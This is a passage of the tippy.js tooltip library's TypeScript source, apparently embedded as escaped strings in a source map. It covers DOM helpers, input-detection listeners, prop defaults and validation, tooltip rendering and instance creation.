obj[key];\n }\n\n return acc;\n }, {});\n}\n","import {ReferenceElement, Targets} from './types';\nimport {PopperTreeData} from './types-internal';\nimport {arrayFrom, isType, normalizeToArray, getBasePlacement} from './utils';\n\nexport function div(): HTMLDivElement {\n return document.createElement('div');\n}\n\nexport function isElement(value: unknown): value is Element | DocumentFragment {\n return ['Element', 'Fragment'].some((type) => isType(value, type));\n}\n\nexport function isNodeList(value: unknown): value is NodeList {\n return isType(value, 'NodeList');\n}\n\nexport function isMouseEvent(value: unknown): value is MouseEvent {\n return isType(value, 'MouseEvent');\n}\n\nexport function isReferenceElement(value: any): value is ReferenceElement {\n return !!(value && value._tippy && value._tippy.reference === value);\n}\n\nexport function getArrayOfElements(value: Targets): Element[] {\n if (isElement(value)) {\n return [value];\n }\n\n if (isNodeList(value)) {\n return arrayFrom(value);\n }\n\n if (Array.isArray(value)) {\n return value;\n }\n\n return arrayFrom(document.querySelectorAll(value));\n}\n\nexport function setTransitionDuration(\n els: (HTMLDivElement | null)[],\n value: number\n): void {\n els.forEach((el) => {\n if (el) {\n el.style.transitionDuration = `${value}ms`;\n }\n });\n}\n\nexport function setVisibilityState(\n els: (HTMLDivElement | null)[],\n state: 'visible' | 'hidden'\n): void {\n els.forEach((el) => {\n if (el) {\n el.setAttribute('data-state', state);\n }\n });\n}\n\nexport function getOwnerDocument(\n elementOrElements: Element | Element[]\n): Document {\n const [element] = normalizeToArray(elementOrElements);\n\n // Elements created via a <template> have an ownerDocument with no reference to the body\n return element?.ownerDocument?.body ? element.ownerDocument : document;\n}\n\nexport function isCursorOutsideInteractiveBorder(\n popperTreeData: PopperTreeData[],\n event: MouseEvent\n): boolean {\n const {clientX, clientY} = event;\n\n return popperTreeData.every(({popperRect, popperState, props}) => {\n const {interactiveBorder} = props;\n const basePlacement = getBasePlacement(popperState.placement);\n const offsetData = popperState.modifiersData.offset;\n\n if (!offsetData) {\n return true;\n }\n\n const topDistance = basePlacement === 'bottom' ? offsetData.top!.y : 0;\n const bottomDistance = basePlacement === 'top' ? offsetData.bottom!.y : 0;\n const leftDistance = basePlacement === 'right' ? offsetData.left!.x : 0;\n const rightDistance = basePlacement === 'left' ? offsetData.right!.x : 0;\n\n const exceedsTop =\n popperRect.top - clientY + topDistance > interactiveBorder;\n const exceedsBottom =\n clientY - popperRect.bottom - bottomDistance > interactiveBorder;\n const exceedsLeft =\n popperRect.left - clientX + leftDistance > interactiveBorder;\n const exceedsRight =\n clientX - popperRect.right - rightDistance > interactiveBorder;\n\n return exceedsTop || exceedsBottom || exceedsLeft || exceedsRight;\n });\n}\n\nexport function updateTransitionEndListener(\n box: HTMLDivElement,\n action: 'add' | 'remove',\n listener: (event: TransitionEvent) => void\n): void {\n const method = `${action}EventListener` as\n | 'addEventListener'\n | 'removeEventListener';\n\n // some browsers apparently support `transition` (unprefixed) but only fire\n // `webkitTransitionEnd`...\n ['transitionend', 'webkitTransitionEnd'].forEach((event) => {\n box[method](event, listener as EventListener);\n });\n}\n\n/**\n * Compared to xxx.contains, this function works for dom structures with shadow\n * dom\n */\nexport function actualContains(parent: Element, child: Element): boolean {\n let target = child;\n while (target) {\n if (parent.contains(target)) {\n return true;\n }\n target = (target.getRootNode?.() as any)?.host;\n }\n return false;\n}\n","import {TOUCH_OPTIONS} from './constants';\nimport {isReferenceElement} from './dom-utils';\n\nexport const currentInput = {isTouch: false};\nlet lastMouseMoveTime = 0;\n\n/**\n * When a `touchstart` event is fired, it's assumed the user is using touch\n * input. We'll bind a `mousemove` event listener to listen for mouse input in\n * the future. This way, the `isTouch` property is fully dynamic and will handle\n * hybrid devices that use a mix of touch + mouse input.\n */\nexport function onDocumentTouchStart(): void {\n if (currentInput.isTouch) {\n return;\n }\n\n currentInput.isTouch = true;\n\n if (window.performance) {\n document.addEventListener('mousemove', onDocumentMouseMove);\n }\n}\n\n/**\n * When two `mousemove` event are fired consecutively within 20ms, it's assumed\n * the user is using mouse input again. `mousemove` can fire on touch devices as\n * well, but very rarely that quickly.\n */\nexport function onDocumentMouseMove(): void {\n const now = performance.now();\n\n if (now - lastMouseMoveTime < 20) {\n currentInput.isTouch = false;\n\n document.removeEventListener('mousemove', onDocumentMouseMove);\n }\n\n lastMouseMoveTime = now;\n}\n\n/**\n * When an element is in focus and has a tippy, leaving the tab/window and\n * returning causes it to show again. For mouse users this is unexpected, but\n * for keyboard use it makes sense.\n * TODO: find a better technique to solve this problem\n */\nexport function onWindowBlur(): void {\n const activeElement = document.activeElement as HTMLElement | null;\n\n if (isReferenceElement(activeElement)) {\n const instance = activeElement._tippy!;\n\n if (activeElement.blur && !instance.state.isVisible) {\n activeElement.blur();\n }\n }\n}\n\nexport default function bindGlobalEventListeners(): void {\n document.addEventListener('touchstart', onDocumentTouchStart, TOUCH_OPTIONS);\n window.addEventListener('blur', onWindowBlur);\n}\n","import {Targets} from './types';\n\nexport function createMemoryLeakWarning(method: string): string {\n const txt = method === 'destroy' ? 'n already-' : ' ';\n\n return [\n `${method}() was called on a${txt}destroyed instance. This is a no-op but`,\n 'indicates a potential memory leak.',\n ].join(' ');\n}\n\nexport function clean(value: string): string {\n const spacesAndTabs = /[ \\t]{2,}/g;\n const lineStartWithSpaces = /^[ \\t]*/gm;\n\n return value\n .replace(spacesAndTabs, ' ')\n .replace(lineStartWithSpaces, '')\n .trim();\n}\n\nfunction getDevMessage(message: string): string {\n return clean(`\n %ctippy.js\n\n %c${clean(message)}\n\n %c👷 This is a development-only message. It will be removed in production.\n `);\n}\n\nexport function getFormattedMessage(message: string): string[] {\n return [\n getDevMessage(message),\n // title\n 'color: #00C584; font-size: 1.3em; font-weight: bold;',\n // message\n 'line-height: 1.5',\n // footer\n 'color: #a6a095;',\n ];\n}\n\n// Assume warnings and errors never have the same message\nlet visitedMessages: Set<string>;\nif (__DEV__) {\n resetVisitedMessages();\n}\n\nexport function resetVisitedMessages(): void {\n visitedMessages = new Set();\n}\n\nexport function warnWhen(condition: boolean, message: string): void {\n if (condition && !visitedMessages.has(message)) {\n visitedMessages.add(message);\n console.warn(...getFormattedMessage(message));\n }\n}\n\nexport function errorWhen(condition: boolean, message: string): void {\n if (condition && !visitedMessages.has(message)) {\n visitedMessages.add(message);\n console.error(...getFormattedMessage(message));\n }\n}\n\nexport function validateTargets(targets: Targets): void {\n const didPassFalsyValue = !targets;\n const didPassPlainObject =\n Object.prototype.toString.call(targets) === '[object Object]' &&\n !(targets as any).addEventListener;\n\n errorWhen(\n didPassFalsyValue,\n [\n 'tippy() was passed',\n '`' + String(targets) + '`',\n 'as its targets (first) argument. Valid types are: String, Element,',\n 'Element[], or NodeList.',\n ].join(' ')\n );\n\n errorWhen(\n didPassPlainObject,\n [\n 'tippy() was passed a plain object which is not supported as an argument',\n 'for virtual positioning. Use props.getReferenceClientRect instead.',\n ].join(' ')\n );\n}\n","import {DefaultProps, Plugin, Props, ReferenceElement, Tippy} from './types';\nimport {\n hasOwnProperty,\n removeProperties,\n invokeWithArgsOrReturn,\n} from './utils';\nimport {warnWhen} from './validation';\nimport {TIPPY_DEFAULT_APPEND_TO} from './constants';\n\nconst pluginProps = {\n animateFill: false,\n followCursor: false,\n inlinePositioning: false,\n sticky: false,\n};\n\nconst renderProps = {\n allowHTML: false,\n animation: 'fade',\n arrow: true,\n content: '',\n inertia: false,\n maxWidth: 350,\n role: 'tooltip',\n theme: '',\n zIndex: 9999,\n};\n\nexport const defaultProps: DefaultProps = {\n appendTo: TIPPY_DEFAULT_APPEND_TO,\n aria: {\n content: 'auto',\n expanded: 'auto',\n },\n delay: 0,\n duration: [300, 250],\n getReferenceClientRect: null,\n hideOnClick: true,\n ignoreAttributes: false,\n interactive: false,\n interactiveBorder: 2,\n interactiveDebounce: 0,\n moveTransition: '',\n offset: [0, 10],\n onAfterUpdate() {},\n onBeforeUpdate() {},\n onCreate() {},\n onDestroy() {},\n onHidden() {},\n onHide() {},\n onMount() {},\n onShow() {},\n onShown() {},\n onTrigger() {},\n onUntrigger() {},\n onClickOutside() {},\n placement: 'top',\n plugins: [],\n popperOptions: {},\n render: null,\n showOnCreate: false,\n touch: true,\n trigger: 'mouseenter focus',\n triggerTarget: null,\n ...pluginProps,\n ...renderProps,\n};\n\nconst defaultKeys = Object.keys(defaultProps);\n\nexport const setDefaultProps: Tippy['setDefaultProps'] = (partialProps) => {\n /* istanbul ignore else */\n if (__DEV__) {\n validateProps(partialProps, []);\n }\n\n const keys = Object.keys(partialProps) as Array<keyof DefaultProps>;\n keys.forEach((key) => {\n (defaultProps as any)[key] = partialProps[key];\n });\n};\n\nexport function getExtendedPassedProps(\n passedProps: Partial<Props> & Record<string, unknown>\n): Partial<Props> {\n const plugins = passedProps.plugins || [];\n const pluginProps = plugins.reduce<Record<string, unknown>>((acc, plugin) => {\n const {name, defaultValue} = plugin;\n\n if (name) {\n acc[name] =\n passedProps[name] !== undefined\n ? passedProps[name]\n : (defaultProps as any)[name] ?? defaultValue;\n }\n\n return acc;\n }, {});\n\n return {\n ...passedProps,\n ...pluginProps,\n };\n}\n\nexport function getDataAttributeProps(\n reference: ReferenceElement,\n plugins: Plugin[]\n): Record<string, unknown> {\n const propKeys = plugins\n ? Object.keys(getExtendedPassedProps({...defaultProps, plugins}))\n : defaultKeys;\n\n const props = propKeys.reduce(\n (acc: Partial<Props> & Record<string, unknown>, key) => {\n const valueAsString = (\n reference.getAttribute(`data-tippy-${key}`) || ''\n ).trim();\n\n if (!valueAsString) {\n return acc;\n }\n\n if (key === 'content') {\n acc[key] = valueAsString;\n } else {\n try {\n acc[key] = JSON.parse(valueAsString);\n } catch (e) {\n acc[key] = valueAsString;\n }\n }\n\n return acc;\n },\n {}\n );\n\n return props;\n}\n\nexport function evaluateProps(\n reference: ReferenceElement,\n props: Props\n): Props {\n const out = {\n ...props,\n content: invokeWithArgsOrReturn(props.content, [reference]),\n ...(props.ignoreAttributes\n ? {}\n : getDataAttributeProps(reference, props.plugins)),\n };\n\n out.aria = {\n ...defaultProps.aria,\n ...out.aria,\n };\n\n out.aria = {\n expanded:\n out.aria.expanded === 'auto' ? props.interactive : out.aria.expanded,\n content:\n out.aria.content === 'auto'\n ? props.interactive\n ? null\n : 'describedby'\n : out.aria.content,\n };\n\n return out;\n}\n\nexport function validateProps(\n partialProps: Partial<Props> = {},\n plugins: Plugin[] = []\n): void {\n const keys = Object.keys(partialProps) as Array<keyof Props>;\n keys.forEach((prop) => {\n const nonPluginProps = removeProperties(\n defaultProps,\n Object.keys(pluginProps)\n );\n\n let didPassUnknownProp = !hasOwnProperty(nonPluginProps, prop);\n\n // Check if the prop exists in `plugins`\n if (didPassUnknownProp) {\n didPassUnknownProp =\n plugins.filter((plugin) => plugin.name === prop).length === 0;\n }\n\n warnWhen(\n didPassUnknownProp,\n [\n `\\`${prop}\\``,\n \"is not a valid prop. You may have spelled it incorrectly, or if it's\",\n 'a plugin, forgot to pass it in an array as props.plugins.',\n '\\n\\n',\n 'All props: https://atomiks.github.io/tippyjs/v6/all-props/\\n',\n 'Plugins: https://atomiks.github.io/tippyjs/v6/plugins/',\n ].join(' ')\n );\n });\n}\n","import {\n ARROW_CLASS,\n BACKDROP_CLASS,\n BOX_CLASS,\n CONTENT_CLASS,\n SVG_ARROW_CLASS,\n} from './constants';\nimport {div, isElement} from './dom-utils';\nimport {Instance, PopperElement, Props} from './types';\nimport {PopperChildren} from './types-internal';\nimport {arrayFrom} from './utils';\n\n// Firefox extensions don't allow .innerHTML = \"...\" property. This tricks it.\nconst innerHTML = (): 'innerHTML' => 'innerHTML';\n\nfunction dangerouslySetInnerHTML(element: Element, html: string): void {\n element[innerHTML()] = html;\n}\n\nfunction createArrowElement(value: Props['arrow']): HTMLDivElement {\n const arrow = div();\n\n if (value === true) {\n arrow.className = ARROW_CLASS;\n } else {\n arrow.className = SVG_ARROW_CLASS;\n\n if (isElement(value)) {\n arrow.appendChild(value);\n } else {\n dangerouslySetInnerHTML(arrow, value as string);\n }\n }\n\n return arrow;\n}\n\nexport function setContent(content: HTMLDivElement, props: Props): void {\n if (isElement(props.content)) {\n dangerouslySetInnerHTML(content, '');\n content.appendChild(props.content);\n } else if (typeof props.content !== 'function') {\n if (props.allowHTML) {\n dangerouslySetInnerHTML(content, props.content);\n } else {\n content.textContent = props.content;\n }\n }\n}\n\nexport function getChildren(popper: PopperElement): PopperChildren {\n const box = popper.firstElementChild as HTMLDivElement;\n const boxChildren = arrayFrom(box.children);\n\n return {\n box,\n content: boxChildren.find((node) => node.classList.contains(CONTENT_CLASS)),\n arrow: boxChildren.find(\n (node) =>\n node.classList.contains(ARROW_CLASS) ||\n node.classList.contains(SVG_ARROW_CLASS)\n ),\n backdrop: boxChildren.find((node) =>\n node.classList.contains(BACKDROP_CLASS)\n ),\n };\n}\n\nexport function render(\n instance: Instance\n): {\n popper: PopperElement;\n onUpdate?: (prevProps: Props, nextProps: Props) => void;\n} {\n const popper = div();\n\n const box = div();\n box.className = BOX_CLASS;\n box.setAttribute('data-state', 'hidden');\n box.setAttribute('tabindex', '-1');\n\n const content = div();\n content.className = CONTENT_CLASS;\n content.setAttribute('data-state', 'hidden');\n\n setContent(content, instance.props);\n\n popper.appendChild(box);\n box.appendChild(content);\n\n onUpdate(instance.props, instance.props);\n\n function onUpdate(prevProps: Props, nextProps: Props): void {\n const {box, content, arrow} = getChildren(popper);\n\n if (nextProps.theme) {\n box.setAttribute('data-theme', nextProps.theme);\n } else {\n box.removeAttribute('data-theme');\n }\n\n if (typeof nextProps.animation === 'string') {\n box.setAttribute('data-animation', nextProps.animation);\n } else {\n box.removeAttribute('data-animation');\n }\n\n if (nextProps.inertia) {\n box.setAttribute('data-inertia', '');\n } else {\n box.removeAttribute('data-inertia');\n }\n\n box.style.maxWidth =\n typeof nextProps.maxWidth === 'number'\n ? `${nextProps.maxWidth}px`\n : nextProps.maxWidth;\n\n if (nextProps.role) {\n box.setAttribute('role', nextProps.role);\n } else {\n box.removeAttribute('role');\n }\n\n if (\n prevProps.content !== nextProps.content ||\n prevProps.allowHTML !== nextProps.allowHTML\n ) {\n setContent(content, instance.props);\n }\n\n if (nextProps.arrow) {\n if (!arrow) {\n box.appendChild(createArrowElement(nextProps.arrow));\n } else if (prevProps.arrow !== nextProps.arrow) {\n box.removeChild(arrow);\n box.appendChild(createArrowElement(nextProps.arrow));\n }\n } else if (arrow) {\n box.removeChild(arrow!);\n }\n }\n\n return {\n popper,\n onUpdate,\n };\n}\n\n// Runtime check to identify if the render function is the default one; this\n// way we can apply default CSS transitions logic and it can be tree-shaken away\nrender.$$tippy = true;\n","import {createPopper, StrictModifiers, Modifier} from '@popperjs/core';\nimport {currentInput} from './bindGlobalEventListeners';\nimport {isIE11} from './browser';\nimport {TIPPY_DEFAULT_APPEND_TO, TOUCH_OPTIONS} from './constants';\nimport {\n actualContains,\n div,\n getOwnerDocument,\n isCursorOutsideInteractiveBorder,\n isMouseEvent,\n setTransitionDuration,\n setVisibilityState,\n updateTransitionEndListener,\n} from './dom-utils';\nimport {defaultProps, evaluateProps, getExtendedPassedProps} from './props';\nimport {getChildren} from './template';\nimport {\n Content,\n Instance,\n LifecycleHooks,\n PopperElement,\n Props,\n ReferenceElement,\n} from './types';\nimport {ListenerObject, PopperTreeData, PopperChildren} from './types-internal';\nimport {\n arrayFrom,\n debounce,\n getValueAtIndexOrReturn,\n invokeWithArgsOrReturn,\n normalizeToArray,\n pushIfUnique,\n splitBySpaces,\n unique,\n removeUndefinedProps,\n} from './utils';\nimport {createMemoryLeakWarning, errorWhen, warnWhen} from './validation';\n\nlet idCounter = 1;\nlet mouseMoveListeners: ((event: MouseEvent) => void)[] = [];\n\n// Used by `hideAll()`\nexport let mountedInstances: Instance[] = [];\n\nexport default function createTippy(\n reference: ReferenceElement,\n passedProps: Partial<Props>\n): Instance {\n const props = evaluateProps(reference, {\n ...defaultProps,\n ...getExtendedPassedProps(removeUndefinedProps(passedProps)),\n });\n\n // ===========================================================================\n // 🔒 Private members\n // ===========================================================================\n let showTimeout: any;\n let hideTimeout: any;\n let scheduleHideAnimationFrame: number;\n let isVisibleFromClick = false;\n let didHideDueToDocumentMouseDown = false;\n let didTouchMove = false;\n let ignoreOnFirstUpdate = false;\n let lastTriggerEvent: Event | undefined;\n let currentTransitionEndListener: (event: TransitionEvent) => void;\n let onFirstUpdate: () => void;\n let listeners: ListenerObject[] = [];\n let debouncedOnMouseMove = debounce(onMouseMove, props.interactiveDebounce);\n let currentTarget: Element;\n\n // ===========================================================================\n // 🔑 Public members\n // ===========================================================================\n const id = idCounter++;\n const popperInstance = null;\n const plugins = unique(props.plugins);\n\n const state = {\n // Is the instance currently enabled?\n isEnabled: true,\n // Is the tippy currently showing and not transitioning out?\n isVisible: false,\n // Has the instance been destroyed?\n isDestroyed: false,\n // Is the tippy currently mounted to the DOM?\n isMounted: false,\n // Has the tippy finished transitioning in?\n isShown: false,\n };\n\n const instance: Instance = {\n // properties\n id,\n reference,\n popper: div(),\n popperInstance,\n props,\n state,\n plugins,\n // methods\n clearDelayTimeouts,\n setProps,\n setContent,\n show,\n hide,\n hideWithInteractivity,\n enable,\n disable,\n unmount,\n destroy,\n };\n\n // TODO: Investigate why this early return causes a TDZ error in the tests —\n // it doesn't seem to happen in the browser\n /* istanbul ignore if */\n if (!props.render) {\n if (__DEV__) {\n errorWhen(true, 'render() function has not been supplied.');\n }\n\n return instance;\n }\n\n // ===========================================================================\n // Initial mutations\n // ===========================================================================\n const {popper, onUpdate} = props.render(instance);\n\n popper.setAttribute('data-__NAMESPACE_PREFIX__-root', '');\n popper.id = `__NAMESPACE_PREFIX__-${instance.id}`;\n\n instance.popper = popper;\n reference._tippy = instance;\n popper._tippy = instance;\n\n const pluginsHooks = plugins.map((plugin) => plugin.fn(instance));\n const hasAriaExpanded = reference.hasAttribute('aria-expanded');\n\n addListeners();\n handleAriaExpandedAttribute();\n handleStyles();\n\n invokeHook('onCreate', [instance]);\n\n if (props.showOnCreate) {\n scheduleShow();\n }\n\n // Prevent a tippy with a delay from hiding if the cursor left then returned\n // before it started hiding\n popper.addEventListener('mouseenter', () => {\n if (instance.props.interactive && instance.state.isVisible) {\n instance.clearDelayTimeouts();\n }\n });\n\n popper.addEventListener('mouseleave', () => {\n if (\n instance.props.interactive &&\n instance.props.trigger.indexOf('mouseenter') >= 0\n ) {\n getDocument().addEventListener('mousemove', debouncedOnMouseMove);\n }\n });\n\n return instance;\n\n // ===========================================================================\n // 🔒 Private methods\n // ===========================================================================\n function getNormalizedTouchSettings(): [string | boolean, number] {\n const {touch} = instance.props;\n return Array.isArray(touch) ? touch : [touch, 0];\n }\n\n function getIsCustomTouchBehavior(): boolean {\n return getNormalizedTouchSettings()[0] === 'hold';\n }\n\n function getIsDefaultRenderFn(): boolean {\n // @ts-ignore\n return !!instance.props.render?.$$tippy;\n }\n\n function getCurrentTarget(): Element {\n return currentTarget || reference;\n }\n\n function getDocument(): Document {\n const parent = getCurrentTarget().parentNode as Element;\n return parent ? getOwnerDocument(parent) : document;\n }\n\n function getDefaultTemplateChildren(): PopperChildren {\n return getChildren(popper);\n }\n\n function getDelay(isShow: boolean): number {\n // For touch or keyboard input, force `0` delay for UX reasons\n // Also if the instance is mounted but not visible (transitioning out),\n // ignore delay\n if (\n (instance.state.isMounted && !instance.state.isVisible) ||\n currentInput.isTouch ||\n (lastTriggerEvent && lastTriggerEvent.type === 'focus')\n ) {\n return 0;\n }\n\n return getValueAtIndexOrReturn(\n instance.props.delay,\n isShow ? 0 : 1,\n defaultProps.delay\n );\n }\n\n function handleStyles(fromHide = false): void {\n popper.style.pointerEvents =\n instance.props.interactive && !fromHide ? '' : 'none';\n popper.style.zIndex = `${instance.props.zIndex}`;\n }\n\n function invokeHook(\n hook: keyof LifecycleHooks,\n args: [Instance, any?],\n shouldInvokePropsHook = true\n ): void {\n pluginsHooks.forEach((pluginHooks) => {\n if (pluginHooks[hook]) {\n pluginHooks[hook]!(...args);\n }\n });\n\n if (shouldInvokePropsHook) {\n instance.props[hook](...args);\n }\n }\n\n function handleAriaContentAttribute(): void {\n const {aria} = instance.props;\n\n if (!aria.content) {\n return;\n }\n\n const attr = `aria-${aria.content}`;\n const id = popper.id;\n const nodes = normalizeToArray(instance.props.triggerTarget || reference);\n\n nodes.forEach((node) => {\n const currentValue = node.getAttribute(attr);\n\n if (instance.state.isVisible) {\n node.setAttribute(attr, currentValue ? `${currentValue} ${id}` : id);\n } else {\n const nextValue = currentValue && currentValue.replace(id, '').trim();\n\n if (nextValue) {\n node.setAttribute(attr, nextValue);\n } else {\n node.removeAttribute(attr);\n }\n }\n });\n }\n\n function handleAriaExpandedAttribute(): void {\n if (hasAriaExpanded || !instance.props.aria.expanded) {\n return;\n }\n\n const nodes = normalizeToArray(instance.props.triggerTarget || reference);\n\n nodes.forEach((node) => {\n if (instance.props.interactive) {\n node.setAttribute(\n 'aria-expanded',\n instance.state.isVisible && node === getCurrentTarget()\n ? 'true'\n : 'false'\n );\n } else {\n node.removeAttribute('aria-expanded');\n }\n });\n }\n\n function cleanupInteractiveMouseListeners(): void {\n getDocument().removeEventListener('mousemove', debouncedOnMouseMove);\n mouseMoveListeners = mouseMoveListeners.filter(\n (listener) => listener !== debouncedOnMouseMove\n );\n }\n\n function onDocumentPress(event: MouseEvent | TouchEvent): void {\n // Moved finger to scroll instead of an intentional tap outside\n if (currentInput.isTouch) {\n if (didTouchMove || event.type === 'mousedown') {\n return;\n }\n }\n\n const actualTarget =\n (event.composedPath && event.composedPath()[0]) || event.target;\n\n // Clicked on interactive popper\n if (\n instance.props.interactive &&\n actualContains(popper, actualTarget as Element)\n ) {\n return;\n }\n\n // Clicked on the event listeners target\n if (\n normalizeToArray(instance.props.triggerTarget || reference).some((el) =>\n actualContains(el, actualTarget as Element)\n )\n ) {\n if (currentInput.isTouch) {\n return;\n }\n\n if (\n instance.state.isVisible &&\n instance.props.trigger.indexOf('click') >= 0\n ) {\n return;\n }\n } else {\n invokeHook('onClickOutside', [instance, event]);\n }\n\n if (instance.props.hideOnClick === true) {\n instance.clearDelayTimeouts();\n instance.hide();\n\n // `mousedown` event is fired right before `focus` if pressing the\n // currentTarget. This lets a tippy with `focus` trigger know that it\n // should not show\n didHideDueToDocumentMouseDown = true;\n setTimeout(() => {\n didHideDueToDocumentMouseDown = false;\n });\n\n // The listener gets added in `scheduleShow()`, but this may be hiding it\n // before it shows, and hide()'s early bail-out behavior can prevent it\n // from being cleaned up\n if (!instance.state.isMounted) {\n removeDocumentPress();\n }\n }\n }\n\n function onTouchMove(): void {\n didTouchMove = true;\n }\n\n function onTouchStart(): void {\n didTouchMove = false;\n }\n\n function addDocumentPress(): void {\n const doc = getDocument();\n doc.addEventListener('mousedown', onDocumentPress, true);\n doc.addEventListener('touchend', onDocumentPress, TOUCH_OPTIONS);\n doc.addEventListener('touchstart', onTouchStart, TOUCH_OPTIONS);\n doc.addEventListener('touchmove', onTouchMove, TOUCH_OPTIONS);\n }\n\n function removeDocumentPress(): void {\n const doc = getDocument();\n doc.removeEventListener('mousedown', onDocumentPress, true);\n doc.removeEventListener('touchend', onDocumentPress, TOUCH_OPTIONS);\n doc.removeEventListener('touchstart', onTouchStart, TOUCH_OPTIONS);\n doc.removeEventListener('touchmove', onTouchMove, TOUCH_OPTIONS);\n }\n\n function onTransitionedOut(duration: number, callback: () => void): void {\n onTransitionEnd(duration, () => {\n if (\n !instance.state.isVisible &&\n popper.parentNode &&\n popper.parentNode.contains(popper)\n ) {\n callback();\n }\n });\n }\n\n function onTransitionedIn(duration: number, callback: () => void): void {\n onTransitionEnd(duration, callback);\n }\n\n function onTransitionEnd(duration: number, callback: () => void): void {\n const box = getDefaultTemplateChildren().box;\n\n function listener(event: TransitionEvent): void {\n if (event.target === box) {\n updateTransitionEndListener(box, 'remove', listener);\n callback();\n }\n }\n\n // Make callback synchronous if duration is 0\n // `transitionend` won't fire otherwise\n if (duration === 0) {\n return callback();\n }\n\n updateTransitionEndListener(box, 'remove', currentTransitionEndListener);\n updateTransitionEndListener(box, 'add', listener);\n\n currentTransitionEndListener = listener;\n }\n\n function on(\n eventType: string,\n handler: EventListener,\n options: boolean | Record<string, unknown> = false\n ): void {\n const nodes = normalizeToArray(instance.props.triggerTarget || reference);\n nodes.forEach((node) => {\n node.addEventListener(eventType, handler, options);\n listeners.push({node, eventType, handler, options});\n });\n }\n\n function addListeners(): void {\n if (getIsCustomTouchBehavior()) {\n on('touchstart', onTrigger, {passive: true});\n on('touchend', onMouseLeave as EventListener, {passive: true});\n }\n\n splitBySpaces(instance.props.trigger).forEach((eventType) => {\n if (eventType === 'manual') {\n return;\n }\n\n on(eventType, onTrigger);\n\n switch (eventType) {\n case 'mouseenter':\n on('mouseleave', onMouseLeave as EventListener);\n break;\n case 'focus':\n on(isIE11 ? 'focusout' : 'blur', onBlurOrFocusOut as EventListener);\n break;\n case 'focusin':\n on('focusout', onBlurOrFocusOut as EventListener);\n break;\n }\n });\n }\n\n function removeListeners(): void {\n listeners.forEach(({node, eventType, handler, options}: ListenerObject) => {\n node.removeEventListener(eventType, handler, options);\n });\n listeners = [];\n }\n\n function onTrigger(event: Event): void {\n let shouldScheduleClickHide = false;\n\n if (\n !instance.state.isEnabled ||\n isEventListenerStopped(event) ||\n didHideDueToDocumentMouseDown\n ) {\n return;\n }\n\n const wasFocused = lastTriggerEvent?.type === 'focus';\n\n lastTriggerEvent = event;\n currentTarget = event.currentTarget as Element;\n\n handleAriaExpandedAttribute();\n\n if (!instance.state.isVisible && isMouseEvent(event)) {\n // If scrolling, `mouseenter` events can be fired if the cursor lands\n // over a new target, but `mousemove` events don't get fired. This\n // causes interactive tooltips to get stuck open until the cursor is\n // moved\n mouseMoveListeners.forEach((listener) => listener(event));\n }\n\n // Toggle show/hide when clicking click-triggered tooltips\n if (\n event.type === 'click' &&\n (instance.props.trigger.indexOf('mouseenter') < 0 ||\n isVisibleFromClick) &&\n instance.props.hideOnClick !== false &&\n instance.state.isVisible\n ) {\n shouldScheduleClickHide = true;\n } else {\n scheduleShow(event);\n }\n\n if (event.type === 'click') {\n isVisibleFromClick = !shouldScheduleClickHide;\n }\n\n if (shouldScheduleClickHide && !wasFocused) {\n scheduleHide(event);\n }\n }\n\n function onMouseMove(event: MouseEvent): void {\n const target = event.target as Node;\n const isCursorOverReferenceOrPopper =\n getCurrentTarget().contains(target) || popper.contains(target);\n\n if (event.type === 'mousemove' && isCursorOverReferenceOrPopper) {\n return;\n }\n\n const popperTreeData = getNestedPopperTree()\n .concat(popper)\n .map((popper) => {\n const instance = popper._tippy!;\n const state = instance.popperInstance?.state;\n\n if (state) {\n return {\n popperRect: popper.getBoundingClientRect(),\n popperState: state,\n props,\n };\n }\n\n return null;\n })\n .filter(Boolean) as PopperTreeData[];\n\n if (isCursorOutsideInteractiveBorder(popperTreeData, event)) {\n cleanupInteractiveMouseListeners();\n scheduleHide(event);\n }\n }\n\n function onMouseLeave(event: MouseEvent): void {\n const shouldBail =\n isEventListenerStopped(event) ||\n (instance.props.trigger.indexOf('click') >= 0 && isVisibleFromClick);\n\n if (shouldBail) {\n return;\n }\n\n if (instance.props.interactive) {\n instance.hideWithInteractivity(event);\n return;\n }\n\n scheduleHide(event);\n }\n\n function onBlurOrFocusOut(event: FocusEvent): void {\n if (\n instance.props.trigger.indexOf('focusin') < 0 &&\n event.target !== getCurrentTarget()\n ) {\n return;\n }\n\n // If focus was moved to within the popper\n if (\n instance.props.interactive &&\n event.relatedTarget &&\n popper.contains(event.relatedTarget as Element)\n ) {\n return;\n }\n\n scheduleHide(event);\n }\n\n function isEventListenerStopped(event: Event): boolean {\n return currentInput.isTouch\n ? getIsCustomTouchBehavior() !== event.type.indexOf('touch') >= 0\n : false;\n }\n\n function createPopperInstance(): void {\n destroyPopperInstance();\n\n const {\n popperOptions,\n placement,\n offset,\n getReferenceClientRect,\n moveTransition,\n } = instance.props;\n\n const arrow = getIsDefaultRenderFn() ? getChildren(popper).arrow : null;\n\n const computedReference = getReferenceClientRect\n ? {\n getBoundingClientRect: getReferenceClientRect,\n contextElement:\n getReferenceClientRect.contextElement || getCurrentTarget(),\n }\n : reference;\n\n const tippyModifier: Modifier<'$$tippy', Record<string, unknown>> = {\n name: '$$tippy',\n enabled: true,\n phase: 'beforeWrite',\n requires: ['computeStyles'],\n fn({state}) {\n if (getIsDefaultRenderFn()) {\n const {box} = getDefaultTemplateChildren();\n\n ['placement', 'reference-hidden', 'escaped'].forEach((attr) => {\n if (attr === 'placement') {\n box.setAttribute('data-placement', state.placement);\n } else {\n if (state.attributes.popper[`data-popper-${attr}`]) {\n box.setAttribute(`data-${attr}`, '');\n } else {\n box.removeAttribute(`data-${attr}`);\n }\n }\n });\n\n state.attributes.popper = {};\n }\n },\n };\n\n type TippyModifier = Modifier<'$$tippy', Record<string, unknown>>;\n type ExtendedModifiers = StrictModifiers | Partial<TippyModifier>;\n\n const modifiers: Array<ExtendedModifiers> = [\n {\n name: 'offset',\n options: {\n offset,\n },\n },\n {\n name: 'preventOverflow',\n options: {\n padding: {\n top: 2,\n bottom: 2,\n left: 5,\n right: 5,\n },\n },\n },\n {\n name: 'flip',\n options: {\n padding: 5,\n },\n },\n {\n name: 'computeStyles',\n options: {\n adaptive: !moveTransition,\n },\n },\n tippyModifier,\n ];\n\n if (getIsDefaultRenderFn() && arrow) {\n modifiers.push({\n name: 'arrow',\n options: {\n element: arrow,\n padding: 3,\n },\n });\n }\n\n modifiers.push(...(popperOptions?.modifiers || []));\n\n instance.popperInstance = createPopper<ExtendedModifiers>(\n computedReference,\n popper,\n {\n ...popperOptions,\n placement,\n onFirstUpdate,\n modifiers,\n }\n );\n }\n\n function destroyPopperInstance(): 